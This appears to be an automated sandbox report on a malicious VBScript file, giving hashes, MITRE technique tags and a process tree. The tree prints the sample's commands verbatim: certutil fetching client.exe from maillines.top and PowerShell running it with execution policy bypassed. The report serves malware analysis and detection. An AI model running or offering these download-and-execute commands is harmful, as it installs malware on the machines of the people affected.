06b268a90ab8b5fe790bed255e0e84ea5cb898e0eb3325483ea6660297a4490c

Analysis

max time kernel
137s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
09-10-2023 14:18

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General

Target

client.vbs
Size

198KB
MD5

47d4112762e22ca93e828eca0cbaf929
SHA1

48eb88f25c777d4f517cc77b797eebb4f8ee5a5b
SHA256

ca6fe3037264b087f01f842c1ea16f936ea070a8118d9562e401fd70ee93abcc
SHA512

2df3a7fbd7f59029fb8c1951a1ebf495b255054e3a09f250480c88ee31859209670c9e01ce9fdda76770d4c93a2e1c0557c9540970147b793957ce468dc20c63
SSDEEP

6144:XvvrDMlOrSPKYDMRD6rVo2K0E0/ltNquuCXLUD2JkKtnTgK5QPaqO2PbNrwpi8hl:fUdXjmkma

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2264	powershell.exe
2264	powershell.exe
2264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 2320	3668	WScript.exe	85
PID 3668 wrote to memory of 2320	3668	WScript.exe	85
PID 2320 wrote to memory of 4476	2320	cmd.exe	87
PID 2320 wrote to memory of 4476	2320	cmd.exe	87
PID 4476 wrote to memory of 1904	4476	cmd.exe	88
PID 4476 wrote to memory of 1904	4476	cmd.exe	88
PID 3668 wrote to memory of 4388	3668	WScript.exe	96
PID 3668 wrote to memory of 4388	3668	WScript.exe	96
PID 4388 wrote to memory of 3932	4388	cmd.exe	98
PID 4388 wrote to memory of 3932	4388	cmd.exe	98
PID 3932 wrote to memory of 2264	3932	cmd.exe	99
PID 3932 wrote to memory of 2264	3932	cmd.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\client.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c certutil -urlcache -split -f http://maillines.top/client.exe C:\Users\Admin\AppData\Roaming\client.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\cmd.exe
    cmd /c certutil -urlcache -split -f http://maillines.top/client.exe C:\Users\Admin\AppData\Roaming\client.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\system32\certutil.exe
      certutil -urlcache -split -f http://maillines.top/client.exe C:\Users\Admin\AppData\Roaming\client.exe
      4⤵
      PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\client.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\client.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\client.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tmlp3fyt.hr4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2264-6-0x0000019E4B3F0000-0x0000019E4B412000-memory.dmp

Filesize
136KB

Download
memory/2264-11-0x00007FFA2B440000-0x00007FFA2BF01000-memory.dmp

Filesize
10.8MB

Download
memory/2264-13-0x0000019E4B3B0000-0x0000019E4B3C0000-memory.dmp

Filesize
64KB

Download
memory/2264-12-0x0000019E4B3B0000-0x0000019E4B3C0000-memory.dmp

Filesize
64KB

Download
memory/2264-16-0x00007FFA2B440000-0x00007FFA2BF01000-memory.dmp

Filesize
10.8MB

Download